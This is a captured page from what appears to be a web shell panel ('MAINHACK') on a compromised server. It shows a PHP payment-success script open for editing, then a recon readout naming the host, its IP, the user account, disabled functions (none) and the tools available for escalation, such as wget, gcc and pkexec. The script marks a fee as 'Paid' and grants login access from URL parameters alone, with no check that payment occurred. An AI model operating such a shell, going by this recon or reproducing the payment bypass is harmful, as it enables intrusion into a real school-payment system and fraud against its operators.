[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: mysuccesspay.php
<?php date_default_timezone_set('UTC'); include("functions.php"); // Safely read values passed in the URL $exttrid = htmlspecialchars($_GET['exttrid'] ?? '', ENT_QUOTES, 'UTF-8'); $transactionId = htmlspecialchars($_GET['transaction_id'] ?? '', ENT_QUOTES, 'UTF-8'); $indexNo = htmlspecialchars($_GET['myindex'] ?? '', ENT_QUOTES, 'UTF-8'); $schoolCode = htmlspecialchars($_GET['myschoolcode'] ?? '', ENT_QUOTES, 'UTF-8'); if (!$exttrid || !$indexNo || !$schoolCode) { die("Missing parameters."); } else { $myTransactionID = str_pad(mt_rand(0, 9999999999), 10, '0', STR_PAD_LEFT); $pstatus = "Paid"; $datepaid = date("Y-m-d H:i:s"); $amount = "30"; $stmt = $new->prepare("INSERT INTO stud_payment (s_code, indexNumber, amount, pstatus, datepaid, transaction_id, access_code) VALUES (?, ?, ?, ?, ?, ?, ?)"); $stmt->bind_param("ssdssss", $schoolCode, $indexNo, $amount, $pstatus, $datepaid, $myTransactionID, $indexNo); $stmt->execute(); // ✅ Update enrol_generic with new access code $stmt2 = $new->prepare("UPDATE enrol_generic SET access = ? WHERE indexNo = ? AND s_code = ?"); $stmt2->bind_param("sss", $indexNo, $indexNo, $schoolCode); $stmt2->execute(); } ?> <!doctype html> <html lang="en"> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <title>Payment Successful</title> <!-- Bootstrap 5 --> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-QWTKZyjpPEjISv5WaRU9OFeRpok6YctnYmDr5pNlyT2bRjXh0JMhjY6hW+ALEwIH" crossorigin="anonymous" /> <style> :root { --success: #16a34a; /* Tailwind-ish green-600 */ --success-soft: #eaf7ef; } body { background: linear-gradient(180deg, #f8fafc 0%, #f1f5f9 100%); min-height: 100vh; display: flex; align-items: center; justify-content: center; padding: 24px; } .success-card { max-width: 720px; width: 100%; border: 0; border-radius: 16px; box-shadow: 0 10px 30px rgba(2, 6, 23, 0.08); overflow: hidden; background: #fff; } .success-header { background: var(--success-soft); padding: 32px 24px; text-align: center; } .check-wrap { width: 82px; height: 82px; border-radius: 50%; background: var(--success); display: inline-flex; align-items: center; justify-content: center; color: #fff; font-size: 42px; box-shadow: 0 10px 20px rgba(22, 163, 74, 0.25); animation: pop 480ms ease-out forwards; } @keyframes pop { 0% { transform: scale(0.6); opacity: 0; } 60% { transform: scale(1.08); opacity: 1; } 100% { transform: scale(1); } } .success-title { margin-top: 16px; margin-bottom: 6px; font-weight: 700; letter-spacing: 0.2px; color: #0f172a; } .success-sub { color: #475569; font-size: 0.975rem; } .receipt { padding: 22px 24px; } .receipt .table { margin-bottom: 0; } .btn-wrap { padding: 18px 24px 24px; display: grid; grid-template-columns: 1fr; gap: 10px; } @media (min-width: 520px) { .btn-wrap { grid-template-columns: repeat(3, 1fr); } } .badge-soft { background: var(--success-soft); color: var(--success); border: 1px solid rgba(22,163,74,.2); } /* Print */ @media print { body { background: #fff; padding: 0; } .btn, .no-print { display: none !important; } .success-card { box-shadow: none; } .success-header { background: #fff; } } </style> </head> <body> <div class="card success-card"> <div class="success-header"> <div class="check-wrap">✓</div> <h1 class="success-title">Payment Successful</h1> <p class="success-sub mb-0"> Your payment has been processed. A receipt is shown below. </p> </div> <div class="receipt"> <div class="d-flex flex-wrap justify-content-between align-items-center mb-3"> <div> <div class="fw-semibold text-secondary">Receipt</div> <div class="small text-muted">Generated on <?php echo date('Y-m-d H:i:s'); ?> (UTC)</div> </div> <span class="badge rounded-pill badge-soft">SUCCESS</span> </div> <div class="table-responsive"> <table class="table table-borderless align-middle"> <tbody> <tr class="border-top"> <th class="text-muted fw-normal">Transaction ID</th> <td class="fw-semibold"><?php echo $myTransactionID ?: '—'; ?></td> </tr> <tr> <th class="text-muted fw-normal">Student Index</th> <td><?php echo $indexNo ?: '—'; ?></td> </tr> <tr> <th class="text-muted fw-normal">School Code</th> <td><?php echo $schoolCode ?: '—'; ?></td> </tr> </tbody> </table> </div> <!-- Optional: show support/help --> <div class="mt-3 small text-muted"> Keep this page as your receipt. If you need assistance, contact support with your Transaction ID. <h3>PLEASE NOTE : USE YOUR INDEX NUMBER AS REFERENCE NUMBER TO LOGIN</h3> </div> </div> <div class="btn-wrap no-print"> <button class="btn btn-outline-secondary w-100" onclick="window.print()">Print receipt</button> <!-- <a class="btn btn-outline-dark w-100" href="javascript:history.back()">Go back</a> --> <a class="btn btn-success w-100" href="login">Login</a> </div> </div> <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/js/bootstrap.bundle.min.js" integrity="sha384-YvpcrYf0tY3lHB60NNkmXc5s9fDVZLESaAA55NDzOxhy9GkcIdslK1eN7N6jIeHz" crossorigin="anonymous"> </script> </body> </html>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.81 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002